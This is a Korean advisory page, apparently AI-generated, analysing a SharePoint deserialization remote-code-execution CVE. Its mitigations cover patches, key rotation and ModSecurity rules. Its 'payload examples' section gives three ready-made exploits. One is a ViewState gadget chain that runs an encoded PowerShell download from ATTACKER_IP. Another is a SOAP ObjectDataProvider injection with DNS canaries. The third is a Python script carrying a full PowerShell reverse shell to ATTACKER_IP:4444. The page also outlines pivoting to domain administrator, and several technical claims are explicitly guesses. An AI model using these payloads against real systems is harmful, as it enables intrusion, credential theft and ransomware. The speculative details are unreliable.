Kestrel
CVE-2026-50522mimon· 2026년 7월 27일 AM 01:30

CVE-2026-50522 — 기본 분석

공격 방법

① 취약 컴포넌트: Microsoft SharePoint Server의 서버 사이드 역직렬화 처리 파이프라인(추정: BusinessDataMetadataCatalog / DataFormWebPart / ToolPane.aspx 계열 핸들러 및 System.Runtime.Serialization.Formatters.Binary.BinaryFormatter 또는 LosFormatter 기반 ViewState/컨트롤 상태 처리). 영향 버전은 SharePoint Enterprise Server 2016 < 16.0.5561.1001, Server 2019 < 16.0.10417.20175, Subscription Edition < 16.0.19725.20434이며 기본 IIS 구성에서 /_layouts/15/ 및 /_vti_bin/ 경로가 인증된 사용자·일부는 미인증 상태로도 노출됩니다.

② 공격 전제조건: CVSS 9.8 및 'unauthorized attacker'로 명시되어 있어 사전 인증 불필요(추정: MachineKey/ValidationKey 유출 또는 무결성 검증 우회 로직 존재로 서명 없이 __VIEWSTATE 주입 가능, 혹은 SOAP/REST 엔드포인트에서 사용자 제공 XML/JSON을 형식 태그(__type, $type, xsi:type)로 임의 타입 인스턴스화). 네트워크 위치는 SharePoint Front-End Web Server의 TCP/80·443에 도달 가능해야 하며 Business Connectivity Services, Web Part 페이지 편집, ToolPane 렌더링 중 하나가 활성화되어 있어야 합니다.

③ 트리거 경로: 공격자는 POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit 또는 /_layouts/15/BusinessDataMetadataCatalog/*.svc 에 조작된 __VIEWSTATE 또는 SOAP 본문을 전송합니다. 내부적으로 ObjectStateFormatter.Deserialize() 혹은 XmlSerializer/DataContractSerializer가 사용자 제어 타입 지시자(__type: System.Windows.Data.ObjectDataProvider, PresentationFramework)를 만나면 YSoSerial.NET의 TypeConfuseDelegate/ObjectDataProvider gadget chain이 트리거되어 MethodName='Start', Arguments에 지정된 cmd.exe/powershell.exe를 w3wp.exe 자식 프로세스로 실행합니다. 서명 검증 단계(MAC validation)는 추정: MachineKey 유출·타입 필터(TypeForwardedFrom) 미적용·Purpose 문자열 불일치 허용으로 우회됩니다.

④ 성공 시 영향: w3wp.exe가 실행되는 IIS Application Pool 계정(기본 NT AUTHORITY\NETWORK SERVICE 또는 도메인 서비스 계정 spfarm) 권한의 RCE. 후속으로 SharePoint 콘텐츠 DB 접근 자격증명(SecureStore·MachineKey·Farm Account NTLM 해시) 탈취 → PsExec/WMI로 SQL Server 및 도메인 컨트롤러 피벗 → Kerberoasting/Silver Ticket 발급 → 도메인 관리자까지 확장. 랜섬웨어·인트라넷 문서 탈취·이메일 게이트웨이(Exchange 연동) 침해가 표준 후속 시나리오입니다.

페이로드 예시

예시 1

http
1# 용도: 서명되지 않은 __VIEWSTATE 를 통한 ObjectDataProvider gadget chain — ToolPane.aspx 진입점 기본 exploit
2POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&PageView=Shared&ToolPaneView=2 HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/x-www-form-urlencoded
5Cookie: FedAuth=SESSION_COOKIE
6Content-Length: 2412
7
8__VIEWSTATEGENERATOR=CA0B0334&__VIEWSTATE=%2FwEy...[ysoserial.exe -g ObjectDataProvider -f LosFormatter -c "powershell -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAEEAVABUAEEAQwBLAEUAUgBfAEkAUAAvAHMALgBwAHMAMQAnACkA" 로 생성한 Base64 blob]...
9# 핵심: __VIEWSTATE 값은 LosFormatter 기반 직렬화된 ObjectDataProvider→ProcessStartInfo chain. 추정: 서버가 EnableViewStateMac 검증에서 Purpose 문자열('WebForm.ToolPane') 불일치를 허용하거나 MachineKey 가 predictable 하여 서명 우회. ToolPane.aspx 는 미인증 접근이 가능한 편집 모드 엔드포인트.
10# 확인 포인트: ATTACKER_IP/s.ps1 로 IIS 서버의 아웃바운드 GET 수신, w3wp.exe → powershell.exe 프로세스 트리, %TEMP%\WER*.tmp 크래시 로그 부재

예시 2

http
1# 용도: BusinessDataMetadataCatalog SOAP 엔드포인트를 통한 __type 지시자 기반 blind 변형 — WAF 의 __VIEWSTATE 시그니처 우회
2POST /_vti_bin/BusinessDataCatalog.svc HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/soap+xml; charset=utf-8
5SOAPAction: "http://schemas.microsoft.com/sharepoint/soap/ImportEntities"
6Content-Length: 1821
7
8<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
9 <soap:Body>
10 <ImportEntities xmlns="http://schemas.microsoft.com/sharepoint/soap/">
11 <catalog i:type="a:ObjectDataProvider" xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
12 <MethodName>Start</MethodName>
13 <ObjectInstance i:type="b:ProcessStartInfo" xmlns:b="http://schemas.datacontract.org/2004/07/System.Diagnostics">
14 <FileName>cmd.exe</FileName>
15 <Arguments>/c ping -n 1 -w 15000 CANARY.ATTACKER_IP &amp; nslookup %COMPUTERNAME%.CANARY.ATTACKER_IP</Arguments>
16 </ObjectInstance>
17 </catalog>
18 </ImportEntities>
19 </soap:Body>
20</soap:Envelope>
21# 핵심: i:type / __type 지시자로 DataContractSerializer 가 임의 타입(ObjectDataProvider) 인스턴스화. SOAP Content-Type 은 __VIEWSTATE 를 검사하는 WAF 룰(SecRule ARGS:__VIEWSTATE) 을 우회. 응답 본문에 결과가 echo 되지 않는 blind 경로이므로 DNS/ICMP canary 로 실행 확인.
22# 확인 포인트: ATTACKER_IP 권한 DNS 서버에 %COMPUTERNAME%.CANARY.ATTACKER_IP A 쿼리 수신, 15초 응답 지연

예시 3

python
1# 용도: 인증 우회 + 즉시 리버스셸 exfil 체인 — MachineKey 유출 시나리오의 서명된 __VIEWSTATE
2python3 -c "
3import requests, base64
4# ysoserial.net -p ViewState -g TypeConfuseDelegate -c 'powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+''PS ''+(pwd).Path+''> '';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}\"' --path='/_layouts/15/success.aspx' --apppath='/' --decryptionalg='AES' --decryptionkey='LEAKED_DECKEY' --validationalg='HMACSHA256' --validationkey='LEAKED_VALKEY'
5vs = 'PLACEHOLDER_SIGNED_VIEWSTATE_BLOB'
6r = requests.post('https://TARGET_HOST/_layouts/15/success.aspx',
7 data={'__VIEWSTATE': vs, '__VIEWSTATEGENERATOR':'CA0B0334'},
8 headers={'User-Agent':'Mozilla/5.0','X-Forwarded-For':'127.0.0.1','X-FORMS_BASED_AUTH_ACCEPTED':'f'},
9 verify=False)
10print(r.status_code, len(r.content))
11"
12# 핵심: X-FORMS_BASED_AUTH_ACCEPTED: f 헤더로 SharePoint 의 Windows-only 경로 강제, X-Forwarded-For: 127.0.0.1 로 IP 기반 접근제어 우회. 추정: LEAKED_VALKEY 는 farm 간 공유되거나 web.config 백업에서 유출된 값. TypeConfuseDelegate gadget 은 Sorted Set 비교 시 대리자(Comparison) 호출로 arbitrary method 실행.
13# 확인 포인트: ATTACKER_IP:4444 nc listener 에 대화형 PowerShell 세션 연결, `whoami` → `nt authority
14etwork service` 또는 도메인 farm 계정 반환

완화 방안

  • [버전업그레이드] SharePoint Enterprise Server 2016 → 16.0.5561.1001 이상, Server 2019 → 16.0.10417.20175 이상, Subscription Edition → 16.0.19725.20434 이상 (July 2026 Cumulative Update) 적용 — 패치 후 ObjectStateFormatter/DataContractSerializer 에 SerializationBinder 화이트리스트가 도입되어 payload #1·#2 의 ObjectDataProvider/ProcessStartInfo 타입 이름이 BindToType() 단계에서 SecurityException 으로 거부됨.
  • [코드패치] Microsoft.SharePoint.Portal.dll 의 BusinessDataMetadataCatalog.ImportEntities() 및 ToolPane.LoadWebPart() 에서 역직렬화 전 타입 필터 삽입 — 수정 전: var obj = formatter.Deserialize(stream); / 수정 후: formatter.Binder = new SafeBinder(new[]{"Microsoft.SharePoint.*"}); if(!SafeBinder.IsAllowed(headerType)) throw new SecurityException(); var obj = formatter.Deserialize(stream); — payload #2 의 i:type="a:ObjectDataProvider" 토큰이 SafeBinder.IsAllowed 에서 false 반환하여 처리 중단.
  • [설정변경] web.config 의 <pages enableViewStateMac="true" viewStateEncryptionMode="Always"> 강제 + <machineKey validation="HMACSHA256" decryption="AES" validationKey="<128자 랜덤>" decryptionKey="<64자 랜덤>"> 를 farm 별로 재생성, AppSettingsaspnet:AllowRelaxedRelativeUrl=falseaspnet:RestrictXmlControls=true 설정 — payload #1 의 서명 없는 __VIEWSTATE 는 MAC 검증에서 HTTP 500 (ViewStateException), payload #3 의 LEAKED_VALKEY 는 재발급된 키와 불일치하여 서명 검증 실패.
  • [WAF·네트워크] ModSecurity 룰로 __VIEWSTATE 크기·SOAP 타입 지시자 차단 — SecRule ARGS:__VIEWSTATE "@rx ^.{2048,}$" "id:950001,phase:2,deny,status:403,msg:'Oversized VIEWSTATE'"SecRule REQUEST_BODY "@rx (ObjectDataProvider|TypeConfuseDelegate|ProcessStartInfo|WindowsIdentity|__type\s*[:=]\s*[\"']System\.)" "id:950002,phase:2,deny,status:403,t:none,t:urlDecodeUni,t:base64Decode"SecRule REQUEST_URI "@rx /_layouts/15/ToolPane\.aspx" "chain,id:950003,deny" SecRule &REQUEST_HEADERS:Authorization "@eq 0" — payload #1·#3 의 ToolPane.aspx 미인증 POST 는 950003 에서, payload #2 의 SOAP 본문 내 ObjectDataProvider 문자열은 950002 에서 base64/URL 디코드 후 매칭되어 403 차단.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…